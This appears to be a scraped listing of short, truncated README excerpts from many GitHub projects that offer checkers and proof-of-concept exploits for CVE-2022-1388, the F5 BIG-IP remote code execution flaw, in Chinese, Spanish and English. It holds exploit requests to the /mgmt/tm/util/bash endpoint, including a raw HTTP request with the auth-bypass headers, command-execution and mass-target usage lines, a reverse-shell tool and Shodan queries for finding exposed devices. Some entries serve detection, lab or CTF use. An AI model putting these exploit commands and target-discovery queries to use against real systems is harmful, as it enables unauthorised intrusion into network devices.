CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 的检查与利用 安装： root@kitploit: python3 -m pip install -r requirements.txt 用法 单个： root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 批量： root@kitploit: python3 cve.py m...

cve-2022-1388-iveresk-command-shell

CVE-2022-1388 por 1vere$k con shell de comandos POC mejorado para CVE-2022-1388 que afecta a múltiples productos F5. Esta es una versión mejorada de la prueba de concepto de Horizon3 para CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388 También es una reelaboración completa con...

CVE-2022-1388-EXP

F5 BIG-IP RCE Check check： CVE-2022-1388 F5 BIG-IP RCE 批量检测 exp： 注：exp是根据 CVE-2021-22986 更改！...

CVE-2022-1388-checker

CVE-2022-1388-checker Simple script realizado en bash, para revisión de múltiples hosts para CVE-2022-1388 F5. + Uso: ./CVE-2022-1388.sh hosts.txt Referencias https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

CVE-2022-1388-RCE-checker-and-POC-Exploit

Comprobador de RCE CVE-2022-1388 Script bash simple para comprobar RCE CVE-2022-1388 F5 BIG-IP. + Uso: ./CVE-2022-1388.sh hosts.txt Exploit POC de RCE CVE-2022-1388 No olvides cambiar la dirección IP root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-...

F5-CVE-2022-1388-Exploit

F5-CVE-2022-1388-Exploit 适用于 CVE-2022-1388 的利用与检测脚本 用法 对单个主机进行检测 root@kitploit: python3 CVE-2022-1388.py -v true -u targeturl 攻击主机并测试命令 root@kitploit: python CVE20221388.py -a true -u targeturl -c command 攻击主机列表 root@kitploit: python CVE20221388.py -s true -f file masscheck.py...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOTACIÓN PoC F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...

CVE2022-1388_TestAPI

CVE2022-1388TestAPI Una API de prueba para probar el PoC contra CVE-2022-1388 Para ejecutar desde el host. root@kitploit: pip install -r requirements.txt uvicorn main:app --reload Para ejecutar desde Docker. root@kitploit: make build make run...

Exploit-F5-CVE-2022-1388

Exploit-F5-CVE-2022-1388 PoC For F5 BIG-IP - bash script Exploit one Liner Vulnerable Versions : BIG-IP versions 16.1.0 to 16.1.2 Patch released BIG-IP versions 15.1.0 to 15.1.5 Patch released BIG-IP versions 14.1.0 to 14.1.4 Patch released BIG-IP versions 13.1.0 to 13.1.4 Patch released BIG-IP...

CVE-2022-1388

CVE-2022-1388...

F5-BigIP-CVE-2022-1388

F5-BigIP-CVE-2022-1388 针对 CVE-2022-1388 的反弹 Shell 下载与使用 git clone https://github.com/qusaialhaddad/F5-BigIP-CVE-2022-1388.git cd F5-BigIP-CVE-2022-1388 chmod +x Exploit-F5-BigIP-CVE-2022-1388.py python3 Exploit-F5-BigIP-CVE-2022-1388.py -t BigIP-IPAddress:Port -c "tmsh show sys hardware"...

F5-Big-IP-CVE-2022-1388

F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP unauth remote code execution PoC Follow us Vulnmachines YouTube Twitter Facebook...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388...

cve-2022-1388-1veresk

CVE-2022-1388 por 1vere$k CVE-2022-1388 la prueba de concepto. Dos regímenes de trabajo con: URL objetivo simple, el PUERTO predeterminado será 80 si no se menciona; archivo con lista de objetivos : \n\r; Usage root@kitploit: echo...

F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study

此存储库没有 README。...

refresh

Refresh 此容器模拟了F5路由器中CVE-2022-1388的易受攻击功能，允许远程代码执行（RCE）。 CVE-202201388源于不同认证机制和代理（broxying）之间复杂的关系，该代理剥离了头部信息，导致对webapp中管理员端点的非授权访问。 竞争者必须使用他们的机器人发送一个利用此漏洞的web请求。 构建 root@kitploit: docker build -t refresh . 运行 root@kitploit: docker run -p 80:80 refresh 利用 root@kitploit: python3 exploit.py -u...

F5-BIG-IP-RCE-CVE-2022-1388

CVE-2022-1388 F5 BIG-IP RCE 多线程检测 use： root@kitploit: 单个url: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx 批量多线程: python3 CVE-2022-1388.py -f url.txt 执行命令: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx -c whoami result:...

CVE-2022-1388

我忘记发布的旧漏洞利用。...

CVE-2022-1388

shodan search 'http.html:"BIG-IP Configuration Utility"' --fields=ipstr,port --separator ":" --limit 10 | grep '' shodan search 'http.title:"BIG-IP®-+Redirect"+"Server"' --fields=ipstr,port --separator ":" --limit 10 | grep '' CVE-2022-1388 CVE-2022-1388 扫描器 使用方法：$python3 CVE-2022-1388-V1.1.py...

CVE-2022-1388

CVE-2022-1388...